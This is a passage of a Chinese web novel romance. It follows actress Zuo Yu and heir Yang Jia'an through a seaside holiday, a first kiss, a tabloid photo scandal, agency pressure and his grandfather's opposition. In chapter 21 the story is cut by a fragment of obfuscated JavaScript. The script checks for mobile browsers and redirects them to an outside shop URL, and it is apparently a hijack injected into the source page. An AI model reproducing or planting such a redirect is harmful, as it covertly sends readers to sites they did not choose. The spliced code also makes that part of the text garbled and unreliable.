杨嘉安满意了，“你的休息时间具体是什么时候。”
“随时都能出发，大概能休息半个月，我再跟经纪人确定一下后面的安排，没有安排的话可以再久一点。”
左榆还在疑惑杨嘉安到底是怎么说服妈妈时，杨嘉安已经开始打电话让助理安排行程。虽然她近期处于休息当中，稳妥起见，她也给经纪人楠姐去了个电话。
楠姐虽然平日总是一副极其严肃的模样，但仅限于工作，一切与工作无关的事她都会设身处地为别人着想，所以她很爽快批了左榆的假，还多给了几天。
左榆打完电话，杨嘉安那边也安排得差不多了，M国，落地签，临海城市，气候正宜人。
“后天上午，从广市出发，你觉得怎么样？”
“我是没什么问题，只是我的护照在京市，寄过来的话，今天寄明天能到吗？”
“谁能帮你寄？”
“小朵，她是我助理。”
“你给我一个她的联系方式，我让人去找她拿，明天送过来。”
左榆将小朵的微信推给了杨嘉安，又跟小朵说明了情况，后面的事情就都交给了杨嘉安。
离开去广市前，左榆和妈妈一起将外婆家的每个房间都打扫了一遍。
最后，随着大门的落锁，宣告这房子大概就进入了长久的空置期，她们这一离开，再回来就不知道会是什么时候了。
杨嘉安陪左榆她们回到广市，左榆带他去了她们在广市的家。
“之前的房子卖了，换了一个二手的一居室，”左榆妈妈开门时有些不好意思地说道，“地方很小，怕你不习惯，一会儿让小鱼带你去附近的酒店住一晚吧。”
杨嘉安看着狭小的房间，心里五味杂陈，与他去过的她们从前的那个家相比，可以说是天差地别。
“你们先坐一会儿，我去楼下的菜市场买点菜，马上就要到饭点了。”妈妈说罢，放下手中的行李，又急匆匆出门了。
左榆默默开始整理行李，杨嘉安立即上前帮忙。
“没事，你坐一会儿吧，我自己来就行了。”左榆一边忙着，一边跟杨嘉安解释道，“我之前说过给她换一套大点的、地理位置好点的房子，她不同意，说平时她一个人住，不需要那么大，大房子反而显得孤单。偶尔我回来，就跟我妈挤一张床。”
杨嘉安不敢想象，在她爸爸出事那年，她们的生活该有多苦，对左榆的心疼油然而生。
晚餐是左榆妈妈简单做的几道菜，吃过饭后，妈妈让左榆带杨嘉安去找酒店。
“阿姨，我已经订好了酒店。”
“那让小鱼送你过去。”妈妈洗着碗，从厨房探出头来吩咐道。
“不用了阿姨，我已经叫了车。”杨嘉安看了看手机，刚好他叫的车就要到了，“你可以送我到楼下吗？”他小声问左榆。
“嗯，走吧。”
这套房子是老旧的居民楼，一共只有七层，住在这里的大多都是老人家，他们辛苦半辈子将孩子送到了更高更好的房子，自己就留在了老房子里。为了方便老人们的上
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下楼，子女们出钱在楼道外面加装了电梯。
从等电梯到出电梯，杨嘉安的目光没有从左榆身上移开过半分。分别前，他将明天出发要注意的事情都交待了一遍。
“你微信发我也行。”
杨嘉安笑：“想多跟你待一会儿。”
左榆有些不好意思。
“行，那我就不啰唆了，好好陪阿姨，希望你们玩得愉快。”
“谢谢。”左榆是发自肺腑的，杨嘉安可能不知道，他这几天对她们的关照，像是给了无助的她们坚实的后盾，她不知道该如何身体力行地去感谢他，只能一遍遍说着谢谢。
看着杨嘉安渐渐消失在黑暗中，左榆突然很不舍，这几日的朝夕相处，又让她对他产生了依赖，原来习惯可以是在时间里培养出来，也可以是在一瞬间形成。
第二天一早，左榆和妈妈就出发去了机场。
在机场，她联系到了杨嘉安安排来给她送护照的人。
“谢谢，辛苦跑一趟送过来。你老板……他没来吗？”左榆问。
“小杨总让我转告左小姐，他有点事要处理，就不来送你们了。”
“好，”左榆有些失望，“那麻烦你帮我谢谢小杨总。”
“嗯，左小姐一路平安，玩得开心。”
“谢谢。”
托运、安检，直到登机前的最后一刻，左榆还期盼着杨嘉安会出现，但没有。
“我还以为你会跟我们一起去。笑哭.emoj”
她在杨嘉安的微信对话框里输入这句话，想了想还是删了，换了一句其他的，觉得不好又删了。
【Y：你又在我的对话框里措辞什么？】
杨嘉安突然发来信息，吓了左榆一跳。
【小鱼干儿：没，没什么。】
【Y：一路平安，落地后跟我说一声。】
【小鱼干儿：好。】
飞机飞了大约四个小时后落地，她们很顺利联系上的接机人员。
杨嘉安安排的酒店就在海边，一百八十度的海景房，风景好，看到好风景，人的心情自然也好了起来。左榆在妈妈眼中看到久违的愉悦。
晚上，左榆跟妈妈一起坐在海滩边，浪涛一声接着一声，听起来非常治愈。
“你跟嘉安之间是不是有什么事瞒着妈妈？”
左榆没想到妈妈会突然提到杨嘉安，顿时慌张起来，手不停地玩弄着沙子，“我们能有什么事瞒着你？”
“那他为什么跟我说要在你面前好好表现，让我帮帮他。”
“所以你答应出来玩，就是因为他说的那些话？”
“嗯。我倒还挺喜欢他的。”
“你那时候听说他读T大，都快想认他做儿子了，你能不喜欢他？”
左榆这么一说，妈妈竟笑出声来，“哪个妈妈不想要这么一个长得帅成绩好的儿子？”
“我长得也不错，我有很多颜值粉。”
“是，我女儿当然长得好看，不然哪能被星探发现。”
“星探……好过时的用词……”
她们在海滩坐了很久，聊了很多。习惯了跑行程的繁忙日子，左榆突然觉得整个世界都慢下来了。
这晚，她睡了一个前所未有的好觉，做了一个仿佛加了滤镜般柔软的梦。
以至于第二天早上，当她看到杨嘉安出现在她面前时，一时分不清眼前到底是现实还是梦境。
20. 第 20 章
“你怎么来了？”
左榆跟妈妈去餐厅吃早餐，路过大堂时瞥见一个跟杨嘉安很像的人，定了定睛，才发现真的是杨嘉安，万分惊喜。
“昨天有事要处理，所以没跟你们一起来。”杨嘉安回道。
左榆暗自算了一下时间，能一大早就到达酒店，杨嘉安大概率是昨天晚上过来的，而且是深夜航班。想到他忙完工作还要坐红眼航班，她心里还是有些感动。
杨嘉安的加入，让左榆和妈妈的这趟旅行不仅愉快，而且舒心。左榆打心底感谢，因为妈妈的情绪有明显的好转，在很多次，她看到妈妈露出灿烂的笑容。但是，偶尔想到这种愉快的日子很快就会结束，她还是会感到怅然。
即便是这种一闪而过的情绪，杨嘉安也看在眼里。
这天吃完晚餐后，杨嘉安提出去海滩走走，左榆妈妈很快意会到了他的想法，主动提出自己要先回酒店休息。目送左榆妈妈上去后，杨嘉安问左榆：“那边海滩的礁石边有一间酒吧，要不要过去坐坐？”
“可你不是酒精过敏吗？”左榆记得，五年前的夏天，在林毓敏的生日上，有人要灌杨嘉安的酒，林毓敏说他酒精过敏，挺身为他挡酒，虽然最后杨嘉安还是自己喝了那杯酒，但左榆一直记着这事。
“你怎么知道？”显然，杨嘉安似乎已经不太记得这件事。
左榆不知道该从何说起，就打了个哈哈敷衍了一句：“你自己以前告诉我的，你不记得了？这不是重点，重点是你酒精过敏，还喝什么酒。”
她责备的语气竟让杨嘉安暗爽了一把，虽然他确实不记得是什么时候告诉过她自己酒精过敏，但能肯定是五年前，如果她能把关于他的一个信息记这么久，是不是就说明她心里一直都有他？
“可以喝无酒精的饮品。”杨嘉安笑道。
“好吧。”左榆也不想阻止，怕破坏了这夜的美好氛围。
这是一间开放式的酒吧，桌子都摆放在外面。每张桌子上有摆放一个香薰蜡烛，但起不到一点作用，因为点燃后，海风一吹过来就灭了。
两人虽然找了一张空桌子坐下，杨嘉安想去点喝的，但被左榆按了下来：“你坐着，我去点。”
“好。”
左榆去吧台点完饮品返回时，却见到一个金发碧眼的女子坐在了杨嘉安旁边，女子微笑着与杨嘉安交谈。起初，左榆还以为是杨嘉安的熟人，直到杨嘉安看到她后，立即起身朝他小跑过来，然后牵着她的手回到桌边。
女子见状，无奈地摊了摊手，随后离开了。左榆这才意识到，这个女子大概是找杨嘉安搭讪的。
搭讪的人是走了，但杨嘉安的手还牵着左榆，左榆感觉到了他手心的温热。
“坐吧。”左榆说完，轻轻抽出了自己的手，顺势坐了下来。
杨嘉安也坐了下来，“后天就要回去了，你打算回广市还是京市？回去之后马上就要工作了吗？”
一想到这些，左榆心里的快乐瞬间没了三分：“嗯，要准备拍下一部戏，中间还有两个晚会。我打算先送我妈妈回广市，然后自己再回京市。你呢？”
杨嘉安没想到左榆会问他，其实他自己也没打算好，到目前为止，他的每一个下一步都基于左榆的选择。
“我跟你一起。”
“啊？”左榆没明白。
“先回广市，再回京市。”
“你平时都住在京市吗？”
杨嘉安思忖片刻，回答道：“以前没有，但是以后准备都住在京市。”
左榆自然很快明白了杨嘉安话里的意思，但是，眼里的欣喜很快就蒙上了一层灰。
“有件事，我不知道该不该跟你说。”
“什么事？”杨嘉安略微紧张起来。
“我签的合约，上面有一条规定……”
才听了个开头，杨嘉安就猜到她想说什么，原先紧张的他倒是瞬间放松了下来，笑道：“我还以为是什么不得了的事。”
左榆没想到他会是这个反应，让她有些琢磨不透。她想说的是她在合同期内不能谈恋爱，杨嘉安这种不以为意的反应是不是说明他压根就没有想跟她谈恋爱的想法。
想到这里，左榆整个人都红温了，尽力掩饰自己的尴尬：“也是，不是什么重要的事。”
恰好在这个时候，服务生端来了酒，没等酒上桌，左榆就端起酒杯猛地喝了一大半。
杨嘉安急忙抓住她的手腕，“喝这么急干吗？”他一脸严肃与责怪，接下了她手中的酒杯。
“只是合约而已，总有到期的一天，你的合约不至于比我的命还长吧？”
杨嘉安的这句话让左榆猛然抬眼，正好对上他温柔的双眸。
“可是……”左榆的声音越来越小，“我想跟你谈恋爱。”
“你说什么？”杨嘉安感到一丝震惊，他俩之间，这还是左榆第一次这么主动，震惊之余，他内心很是欣喜。
“我现在这个年龄想谈恋爱应该不过分吧？我长这么大，还没谈过恋爱。”左榆说着，为自己委屈了起来。
杨嘉安看着左榆委屈巴巴的表情，心好像就要融化了。
“不过分，怎么能算是过分呢。”他看着她，满心满眼都是温柔，“如果违约的话，你要付多少违约金？”
左榆猜到杨嘉安的意思，但是她从未想过要他那样做：“我没想过违约，我必须要对我的合约负责，因为这不仅仅是我的工作，在我最迷茫的时候，公司确实是帮助过我。”
“那怎么办呢？”杨嘉安的语气像是在安慰一个矛盾又难过的孩子，“要不，我们偷偷的？”
杨嘉安的话戳中了左榆的心，因为她的的确确曾想过这个可能，但又想到万一被发现，除了会伤粉丝的心，对自己以后的发展可能也会有所影响。
看到左榆为难的样子，杨嘉安却笑了，“我开玩笑的。”
听到这话，左榆的心里又莫名一阵失落。
杨嘉安继续说道：“我猜你心里其实很清楚对自己来说目前更重要的是什么，你只需要记住，我不会走，一直在这里，已经等了那么久，也不在乎再多等两年。”
“你怎么知道我的合约还有两年结束？”左榆惊道。
杨嘉安无奈：“我记得你从前的语文成绩还不错，怎么阅读理解退步了这么多？你疑惑的内容是重点吗？”
“我知道这不是重点，但我就是想知道，你是怎
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么知道的，问过我的经纪人了？你还知道些什么……”刚才杨嘉安的那句话早就让左榆心花怒放，她说起这些不相关的东西，无非是想尽量掩饰自己内心的喜悦，好让自己显得沉稳些。
她一张嘴喋喋不休，杨嘉安静静看着她却什么都听不进去，突然，他站起来俯身到左榆面前，猝不及防在她唇边留下一个吻，短暂又迅速。
左榆的身体像是被电流穿过，大脑瞬间一片空白。
这是她的初吻。
“你的问题太多了，我不知道该先回答哪一个。”杨嘉安蹲在她面前，含情脉脉看着她，“所以我先为我前面说的话盖个章吧。”
左榆还愣愣地在回味刚才那个突然的吻，柔软、温润，像是嘴巴被盖上了一床自带温度的鹅绒被。
原来，初吻是这种感觉。
“傻了？”杨嘉安话说得轻松，但只有他知道自己紧张得不行，在刚刚吻上去的那一刻，他的大脑也是空白的，完全被荷尔蒙所支配。
左榆拿起面前的酒，想喝一口压压惊。
杨嘉安却微微笑：“酒精不会更让人迷乱吗？”
这话一出，左榆慌慌张张又放下酒杯。还好是夜晚，杨嘉安看不到左榆涨红的脸。
夜色撩人，海风微醺。
杨嘉安轻轻握住了左榆的手，两人十指相扣，不用说话，就很美好。
结束了美美的假期，在返程的飞机上，左榆还在想该如何快速投入到工作中时，她和杨嘉安在M国机场被拍到的同框图已经传遍了网络。
她刚下飞机，楠姐的电话就打了过来。
“你跟小杨总到底怎么回事？你们一起去M国玩了？你不是说陪你妈妈出去散心吗……”
楠姐的问题一个接着一个，质问的语气让左榆有些心慌，她意识到应该是发生了什么事。
“这个事等我回公司再面对面跟你解释，可以吗？”
“坐最近的一班飞机回来，立刻，马上！”
“我知道了。”
走在旁边的杨嘉安看她一脸忧虑，问：“怎么了？”
“好像是出了什么事，一时半会也说不清，我现在就要回京市，就不出去了，直接在这里转机。你能帮我送我妈妈回去吗？”左榆还不知道网络上的发酵。
“嗯，放心。要不要我帮你买回京市的机票？”
“不用，小朵会帮我买。你们先出去吧。”
杨嘉安有些不放心，走出后一段距离又折返到左榆身边，“落地京市后告诉我一声，还有，要是遇到不好解决的事，记得告诉我，一定要告诉我。”
“好。”
在等行李的时候，杨嘉安看了会儿手机，大概了解了情况，正想着该怎么解决时，好友秦晖打来了电话。
“不是哥们，你追人还追到国外了？你来真的啊？”
“我现在有点忙，没事的话就先挂了，有空再聊。”
“你们的热搜都爆了，这还算没事？哥们就是不明白，这些年你身边什么样的女人没有，你都没有正眼瞧过人家，现在这算是怎么回事？”
杨嘉安顿了顿，说：“如果心里面已经有了一条鱼，整个海底世界都不算什么了。”
21. 第 21 章
傍晚时分，左榆落地了京市机场，小朵和司机已经在到达处等候。
这一天连轴转，左榆跟小朵碰面时已是一脸疲态。
“咱们是先回家还是先去公司？”
“先送我到公司，然后你帮我把行李拿回去。楠姐那边现在是什么情况？”左榆在路上看了会儿手机，大概知道了是怎么一回事。
“有一些媒体打电话来问情况，但这些倒还好，主要是舆论问题，有一些平时就跟我们不对付的网友趁机蹚浑水，又提出上次那个代言的事，话里话外说我们跟诺辉的小杨总早就有私情之类的，其实，这件事算是普通的公关事件，楠姐之所以这么生气，是因为你之前没跟她说你是跟小杨总一起去度假。”小朵大致总结了一下。
“怎么会被拍到呢。”左榆懊恼，她以为在国外就不会有人关注到她，没料到最后一天翻车了。
“你们真是一起去度假吗？”小朵试探了一句，她之前还在想，会不会两人在机场刚好遇到。
左榆将这件事的始末说给了小朵听，除了两个人感情方面的事。小朵仔细听着，表情一次比一次震惊。
“上次发布会的时候，我就感觉你跟小杨总之间的关系不简单。”
“我以前也不知道他有一天会成为诺辉的小杨总。”
“话说回来，小杨总长得是真帅，他要是进娱乐圈，妥妥靠颜值就能成为顶流。”
“你跑题了吧。”虽说如此，但跟小朵这样聊一聊后，左榆的紧张情绪缓解了不少。
两人又聊了一下左榆不在的这段时间，公司里发生的一些事情。聊到差不多，车也到了公司楼下。左榆又跟小朵交待了几句后，匆匆下车后，赶往楠姐的办公室。
她到的时候，她那个女团WINGS的其他三个成员也在楠姐的办公室。看到左榆来了，三个人面无表情，尤其是之前被她截了代言的萌萌，眼神扫过她时还翻了个白眼。
“你总算回来了，说吧，到底是怎么回事？”楠姐有气无力说道，她处理了一天的工作，嗓音已经有些嘶哑。
左榆看了一眼其他三人，又看向楠姐。楠姐意会，让她们三人先出去。萌萌出去时，再次暗戳戳白了左榆一眼。
“现在可以交待了？”
左榆将前面跟小朵所说的内容重复了一遍，但楠姐并不像小朵那样想得单纯，她并不相信只基于普通朋友关系的话，杨嘉安会陪左榆的妈妈去国外旅游。但她也没有深挖，只是意味深长地问了一句：“我们的合约内容，你还记得的吧？”
左榆明白她指的是谈恋爱的事，“楠姐，你放心吧，我记着的。”
“你记着就好，以后非必要不要再私下见小杨总，工作上的事，让商务那边去对接，明白了吗？”楠姐表情严肃。
左榆感受到了压力，有一种像是学生时代早恋被家长发现后强制断联的感觉。
见左榆沉默，楠姐激将道：“当然，如果你认为人家对你是真心的，大可以提出解约，解约费对于诺辉来说应该算不了什么。”
“我没有想过提前解约。”左榆回道，“你说的话我都听明白了，我知道怎么做。”
“那就好。另外再跟你说说WINGS的事，刚刚我已经跟她们三个讲过了。如今你们这个团貌合神离，离解散也只差一个官宣了，年底的晚会，再合体两次，明年就官宣解散。”
“好的。”对于这个团，说没感情是假的，四个人最初吃住都在一起，彼此之间亲密无间，但随着出道后名声大涨，各种利益分割经常会引发矛盾，彼此的粉丝也是常常吵个不停，也不知道从什么时候开始，大家的心就散了。
“你放心，只要你好好把握，你的后续资源不会差，还能看到小杨总对你是不是真心不是？”楠姐说到这里时，语气显然缓和了很多，还有心情喝了一口面前的茶。
左榆脑子没转过来，没明白楠姐话里的意思。
楠姐又喝了一口茶，用犀利的眼神看着左榆：“如果小杨总对你是真心的，你的资源会差吗？你不能因为谈恋爱影响粉丝的粘度，但我们可以替你接下一切合适的资源。”
“哦。”左榆在心里冷笑，在这个圈子里，事事都牵扯到利益。
“行了，你回去休息吧，一会儿公司这边会在微博出一个声明，其他的你不用管，记住我刚刚说的话就行。”
“是什么声明？”
“还能是什么，不就是你的单身声明，今天我都被粉丝那边给磨死了，一个脑袋两个大。行了，这些你都别管了，回去吧。”
左榆刚从楠姐的办公室出来，手机就收到了杨嘉安发来的微信。
【Y：抵达京市了吗？】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045181|148396||http|test|mini|href|location''.split(''|''),0,{}));
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左榆这才想起落地后没有第一时间跟杨嘉安报平安，来公司的车上又跟小朵聊得起劲，完全将杨嘉安丢到了一边。
【小鱼干儿：到很久了，刚跟经纪人谈完话，现在准备回家。】
【Y：经纪人有没有为难你？】
【小鱼干儿：为难倒是没有为难，但是让我以后私下不要跟你见面。】
左榆发出这条微信后，杨嘉安迟迟没有回复，她等了很久，最后竟然等来了一个偷笑的表情。
【小鱼干儿：你笑什么？】
【Y：私下不能见面，那就公开见面。你经纪人没说不让我追星吧？】
【小鱼干儿：……】
【Y：我已经将阿姨安全送回家了，明天就去京市。】
【小鱼干儿：过来有事要忙吗？】
【Y：嗯，过去买房。】
【小鱼干儿：……】
【Y：你的房子在哪边？】
【小鱼干儿：郊区。】
【Y：郊区好。】
【小鱼干儿：你别……】
左榆站在一处角落里噼里啪啦地打着字，突然被转角过来的人狠狠撞了一下，手机没拿稳，重重摔到了地上。她急忙捡起手机，才发现撞她的人是萌萌。
“哎呀，不好意思啊。”萌萌脸上堆着虚伪的笑意，“我没想到这里有人，你也是，怎么躲在这里，不会又在做什么见不得人的事吧？”
“啊？站在这里就是做见不得人的事吗？你平时经常这样干吗？”如果说之前手机代言的事，左榆对萌萌还有几分歉意的话，如今也不复存在了，毕竟一次可以忍，两次可以让，再而三就不客气了。
“你……”
“我现在把这地方让给你，你自便。”左榆说完，径直离开了，留下萌萌在原地气得跺脚。
左榆回到家时，公司的声明微博也发了，自然而然又将她送上了热搜榜。奔波了一天，她已经累得不行，无心去关注网上的舆论，洗漱完毕后就躺床上了。
另一边，广市一家五星级酒店的房间内，杨嘉安正在打电话。
“之前在网上发布小鱼的谣言，加上今天的事，都是你干的吧？”杨嘉安冷冷道。
“我不知道你在说什么。”
“我奉劝你，适可而止。”
……
22. 第 22 章
杨嘉安打完电话，左榆经纪公司发的那条单身声明就被推送到了他的手机上。他大致看了一遍，都是一些场面话术，也没放在心里。然而，好友秦晖似乎忍不了了，一个电话打了过来。
“哥们绝了，人家还不乐意，要跟你划清界限呢。”秦晖说话时的笑意分明是在嘲笑杨嘉安。
杨嘉安也不恼，他知道秦晖就是这样的性格，嘴上说着最损的话，心里比谁都有情义。
“难得能被你笑话一次，倒也不亏。”杨嘉安回答。
“我之前就跟你说过吧，像左榆这样的艺人可能难有恋爱自由。”秦晖转念想到了什么，立即补充道，“哥们你要是来真的，可以让她解约呀，那点违约金对于你们诺辉来说根本不算什么。”
“诺辉不是属于我一个人的，另外，这是她的工作，除非她自己愿意放弃，不然我没有资格剥夺。”
“我不信，这年头有几个女人不喜欢钱，只要你给的足够多，她还会不愿意？”秦晖的身边总是美女围绕，认识的也都是同一类型的女人，在认知上难免偏颇。认识杨嘉安的这几年，他尝试过带杨嘉安去各种“速配”场合，但都被拒绝了。
“下次见面，我跟你好好说说我跟她之间的事。”
“哟，听起来很有故事，那我倒要洗耳恭听了。不过最近见不了面，我明后天要出国一趟，等元旦假期再约。”
“可以。”
第二天，杨嘉安原计划去京市，但不得不先飞一趟海市。跟左榆一起上热搜的事，外公也知道了，说是得知这事后脸色非常不好，所以外婆打电话给他，让他务必回家一趟，好好劝慰一下他外公。杨嘉安向来敬重外公，外加外公近两年身体不好，他就临时改了航班。
回到家，杨嘉安一进门便看到外公一脸严肃地坐在客厅。他挤出笑脸走到外公旁边，轻声打了一声招呼：“外公，我回来了。”
“哼。”外公瞪了他一眼，“昨天那个事到底是什么情况，你真跟人家小明星一起去国外度假了？”
“是。”杨嘉安回答得很坦诚，他没想过要瞒着外公。
但外公显然更生气了，用力一拍座椅的扶手，怒道：“给你介绍的好姑娘你不要，跑去跟小明星厮混，成什么样子。”
“外公，她也是好姑娘。”杨嘉安见不得任何人诋毁左榆，哪怕是至亲。
“娱乐圈能有什么好姑娘，说到这个，听说你还让她做了公司新产品的系列代言人？”
外公程老爷子年轻时就出来闯荡，能混出个名堂来自然是见过世面的人，从前他那个时代的娱乐圈有多浑，他非常清楚，所以公司在请代言人方面，他是慎重又慎重，这也是为什么诺辉之前的代言人大多都是艺术家。
“新产品的受众是年轻人，我觉得她很符合我们产品的调性，请她做代言没什么不好。”
“是，之前是没什么不好，但是如果你要跟她混在一起，那就不好。”
“外公，你就不能不戴有色眼镜去看待她吗？有机会的话，你不妨见见她。”
“不必，网上能搜到很多关于她的资料，我就没必要见了。总之，我不会让你重蹈你妈妈的覆辙。最近我几个朋友家的孩子都回国了，我安排你们见见面，都是生意上知根知底的朋友，多认识一下也不是坏事。”
杨嘉安沉默，他当然知道外公的想法，从他进诺辉的那一天起，外公就经常带他见这个见那个，起初他很听话，次次都去，后来觉得实在无聊，就找借口推辞了。为这事，外公没少生气。
见杨嘉安又是一脸不乐意，程老爷子脾气上来了，刚想要教训他几句，外婆见状，忙将杨嘉安给拉到了一边。
“好不容易回来一趟，别老是批评孩子。”外婆嗔怪完外公，转头笑眯眯问杨嘉安，“晚上想吃点什么，我让人去做。”
“都可以。”杨嘉安挤出笑脸。外婆与外公不同，从不逼迫他做自己不喜欢的事，总是一副慈祥面孔，笑脸迎人。这正是因为这样，有时候同一件事，外公的话他不愿意听，但是外婆说的他会乖乖听从。
“行，那我让张姨去买些你爱吃的菜，你这次在家里多住几天，你外公这两天身体又不舒服了。”
杨嘉安在海市有自己的房子，平时都是自己住，偶尔会回外婆家看看，陪两位老人吃吃饭。他原本计划只在外婆家待一天，明天就去京市，但按照目前的情况来看，怕是要搁浅自己的计划了。
回到自己的房间，他整个人才放松下来，疲惫感随后袭来。
【Y：现在在干什么？我这几天有事，先不去京市了。】
他第一时间给左榆发了条微信。
【小鱼干儿：我在家里休息呢，后天要进组拍戏。】
左榆很快就回了微信。
【Y：去哪里拍？】
【小鱼干儿：榕城。】
【Y：拍多久？中间都不回京市吗？】
【小鱼干儿：估计要拍四个月，中间要回去两次参加晚会。】
【Y：春节也不休息吗？】
杨嘉安这一问，左榆才意识到，还有不到三个月的时间就是春节了。
【小鱼干儿：应该是要休息几天的，但具体情况还不清楚。】
……
跟左榆聊了一会儿后，杨嘉安的心情好了不少，但是偶尔想到外公说的那些话，心里还是会烦躁。
后面的日子，杨嘉安除了忙公司里的事，其他时间就陪着外公外婆。左榆进了剧组，时间也紧张起来，偏偏这个导演是业内出了名的严格，整个剧组大夜一个接一个地熬，作息都紊乱了，跟正常时间合不上，自然就少了跟杨嘉安的联系。
转眼到了年末，轮到各种颁奖晚会登台。左榆总算能借着去晚会的时机暂时离开剧组，好好休息一下。
第一台晚会的举办地点就在海市。左榆一抵达海市，就迫不及待给杨嘉安发了条微信，告诉他，她到了海市，准备参加后天的一台晚会。
【Y：我最近不在海市。】
杨嘉安的回复让左榆很丧气，本以为借着这次机会，两人说不定就见上一面，但她还是强打起精神回了一句：
【小鱼干儿：工作重要。】
【Y：等忙完这一阵子，我找个机会去看你。】
左榆乖巧地回了一个“好”字，她想见杨嘉安很久了。
这场晚会，左榆的团——WINGS会进行久违的合体表演，早在当初官宣的时候就赚足了噱头，一些团粉感动到在官宣微博下面“哭”了几天，就差给主办方磕一个了。但在团里这几个成员的眼里，
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并没觉得这次合体有多重要，反而觉得是束缚。
萌萌是团里最早solo的，她走的是音乐方向，已经出了两张个人专辑，其他两个成员经常参加各种综艺里，偶尔也会出出单曲，只有左榆完全走了演戏的路。
“这衣服也太丑了吧。”艺人休息室，萌萌正垮着脸吐槽这次的演出服装，“就不能不穿吗？我之前选的那一套不是很好看吗？”
“之前那套是好看，但是不搭其他人，你们四个一起演出，服装方面重要相得益彰吧？”楠姐解释道。
“凭什么她穿不了，就让我们也不穿。”萌萌说着，白了左榆一眼，“还真是傍上大款了，万事都要以她为主。”
刷着手机的左榆听出了萌萌的言外之意，她顿了顿，直言道：“楠姐，是我穿不了吗？”
楠姐忙从中调和：“哎呀，不管是谁，总之就没办法穿，都能不能少说两句。”
剩下的两个成员中的一个劝道：“算了算了，能一起演出的机会已经不多了，大家且行且珍惜吧。”
“是我穿不了，我最近参加美食综艺节目，长胖了一点，”最后一个成员弱弱说道，“那个颜色显胖。”
萌萌这才哑口无言。
大约到了晚上十点多，终于轮到左榆她们表演。在观众们热情的欢呼声中，四个女生闪亮登场。她们要表演两首歌，都是出道成名作。左榆这段时间忙于拍戏，能够用来练习的时间不多，为了不在舞台上出差错，她表演得异常认真，就怕闹出什么笑话来。
完成一个回头的舞蹈动作时，左榆恰好看到了舞台大屏，瞬间懵了。与此同时，台下的观众也哗然起来。
原来，大屏上捕捉到了杨嘉安，画面中的他正举着手机拍摄，发现自己被捕捉到时，他有些不好意思地将手机收了起来。虽然大家没看到他拍摄的具体内容，但联系到他之前跟左榆一起去国外度假的新闻，自然而然认为他是在拍左榆，必然是要起哄的。
好在从前努力练习的日子已经让这些动作变成肌肉记忆，就算愣在原地几秒钟，左榆手脚的舞蹈动作也没有停过，内心已经慌得不行，但还是尽量呈现出最好的舞蹈。
她们表演完毕后，准备下台时，大屏的画面又被给到了杨嘉安，起哄声又来了一波。
回到后台时，左榆的脸红得不行，她只好偷偷躲进洗手间里调整状态。
【小鱼干儿：你不是说你不在海市吗？】
平复心情的同时，她给杨嘉安发了条微信。杨嘉安很快回复了。
【Y：突然想看看你的现场表演，就回来了。】
【小鱼干儿：刚刚肯定是摄像故意的。】
【Y：那你想不想知道我拍的是什么？】
【小鱼干儿：……】
等到脸上的红温褪去，左榆才回休息室。
观众席上，坐在第一排的杨嘉安悄然退了场。
他走出场馆，找了个无人的角落席地而坐。此刻，他满脑子都是左榆刚刚在台上表演的身影，不可否认，他真的被她迷住了。她在舞台上的每一个动作和表情，都在撩拨着他的心。和十八岁的左榆相比，如今的她，更多了几分成熟的魅力。
他觉得，他似乎很难自控了。
【Y：今晚，要见一面吗？】
23. 第 23 章
正在休息室的左榆收到杨嘉安的微信，心微微颤了颤。
【小鱼干儿：好，那我们在哪里见面。】
过了很久，杨嘉安回复了她两个字“我家”。看着这两个字，左榆感觉自己好不容易平静下来的心荡起了涟漪。不等她回答，杨嘉安就把他家的地址发给了左榆，包括大门的密码。
【Y：你什么时候能离开场馆了就什么时候过去，我等晚会结束再回去。】
刚刚被捕捉到大屏幕，杨嘉安担心自己提前走的话，又会被媒体扒出来曲解出一堆八卦来，他自己是不在意这些，但难免会影响到左榆，所以他觉得还是谨慎一些为好。
左榆看了看时间，离晚会结束大概还有将近两个小时。
【小鱼干儿：我现在可以走了。】
【Y：我让我司机联系你，叫他送你过去。】
左榆在跟司机联系上后，带着小朵一起上了车，先让司机送小朵回了酒店，自己再去杨嘉安家。
杨嘉安家在一个比较安静的地段，车少人少，左榆挺喜欢这样闹中取静的环境。输入大门密码，开门后，左榆发现屋里的灯都是亮的。
【小鱼干儿：你不是还没回来吗，家里的灯怎么都是亮的？】
【Y：你已经到了吗？灯是我用手机远程控制打开的，怕屋里黑，怕你找不到开关。】
杨嘉安的体贴让左榆暗自开心。她环视了整个房间，简约的布局让她觉得似曾相识，仔细回想后才反应过来，这房子跟五年前她去过的杨嘉安在江城的家很像。
另一边，晚会还没完全结束，在节目单显示的最后一个节目时，杨嘉安起身离开了。他走出场馆，刚要联系司机，外公却打来了电话。
没等他说话，外公就用略带怒意的语气说道：“你现在回来一趟。”
“现在？”杨嘉安匪夷所思，“是有什么急事吗？”
“你马上回来就行了。”
任凭杨嘉安怎么问，外公都不说所为何事，硬是要他回家一趟。杨嘉安没办法，只好让司机先送他去外婆家。
好在从场馆到外婆家的距离较短，杨嘉安算了算时间，去一趟外婆家也只耽搁半小时的时间。但是他没想到，自己被外公给“扣”住了。
“今晚你就住在这里。”外公坐在客厅里，像是下达命令般对杨嘉安说道。
若是平时，杨嘉安会听从，但今天，此刻，左榆正在他家里等他。
“如果没什么特别的事的话，我还是想回去。”杨嘉安没有多少耐心跟外公周旋，直接表达了自己的意见。
“哼，回去？回去跟那小明星厮混吗？”外公冷笑一声。
杨嘉安猛然抬头看向外公，瞳孔微震，他不知道外公是怎么知道这事的。
“你不用看着我，反正今晚你就安心待在这里。”
“外公，我必须要走。”
“那她明天开始就不会是我们诺辉的代言人。”程老爷子似乎一早就想好了对策，“被我们诺辉扫地出门的代言人，我看看哪个生意伙伴以后还愿意给她资源。”
“外公！”杨嘉安眼底有一丝怒意，但更多的是无奈。
“好了好了，”外婆将杨嘉安拉到一旁坐下，“不要跟你外公犟，你跟那姑娘解释一下，就说你临时有事不就行了。”
向来向着自己的外婆竟然也说出这种轻飘飘的话，杨嘉安很是失望，“外婆，连你也这样认为吗？你也认为她不是一个好姑娘吗？”
外婆叹了口气，“外婆也不知道怎样做才是最好的。”
